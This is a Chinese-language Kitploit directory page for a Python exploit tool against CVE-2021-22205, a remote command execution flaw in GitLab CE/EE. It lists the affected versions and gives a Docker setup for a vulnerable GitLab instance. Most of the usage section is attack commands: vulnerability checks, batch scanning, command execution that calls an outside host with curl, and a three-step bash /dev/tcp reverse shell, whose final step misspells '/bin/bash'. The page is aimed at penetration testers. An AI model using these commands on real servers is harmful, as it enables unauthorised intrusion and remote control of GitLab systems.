Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-22205 — 针对 CVE-2021-22205 的 Python 漏洞利用工具,该漏洞是 GitLab CE/EE 中通过图像文件解析导致的远程命令执行。支持漏洞检测、批量扫描、命令执行和反弹 Shell。 | Kitploit
工具/GitHubGitHub/ccordeiro/cve-2021-22205
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制远程访问工具
GitHubccordeiro/cve-2021-22205

CVE-2021-22205

针对 CVE-2021-22205 的 Python 漏洞利用工具,该漏洞是 GitLab CE/EE 中通过图像文件解析导致的远程命令执行。支持漏洞检测、批量扫描、命令执行和反弹 Shell。

查看仓库
29个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

漏洞影响

在GitLab CE/EE中发现了一个问题,影响从11.9版本开始的所有版本。GitLab未能正确验证传递给文件解析器的图像文件,导致远程命令执行。

受影响产品

  • Gitlab CE/EE < 13.10.3
  • Gitlab CE/EE < 13.9.6
  • Gitlab CE/EE < 13.8.8

环境

root@kitploit:~
export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0

漏洞检查

基本用法
root@kitploit:~
python3 CVE-2021-2205.py

使用截图

漏洞检测
root@kitploit:~
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com

检测截图

命令执行
root@kitploit:~
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"

攻击截图

root@kitploit:~
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"

攻击命令1

攻击命令2

批量扫描
root@kitploit:~
python3 CVE-2021-2205.py -s true -f target.txt

扫描结果

反弹Shell
root@kitploit:~
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"

反弹Shell1

反弹Shell2

root@kitploit:~
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"

反弹Shell3

反弹Shell4

root@kitploit:~
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"

反弹Shell5

参考

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

下载工具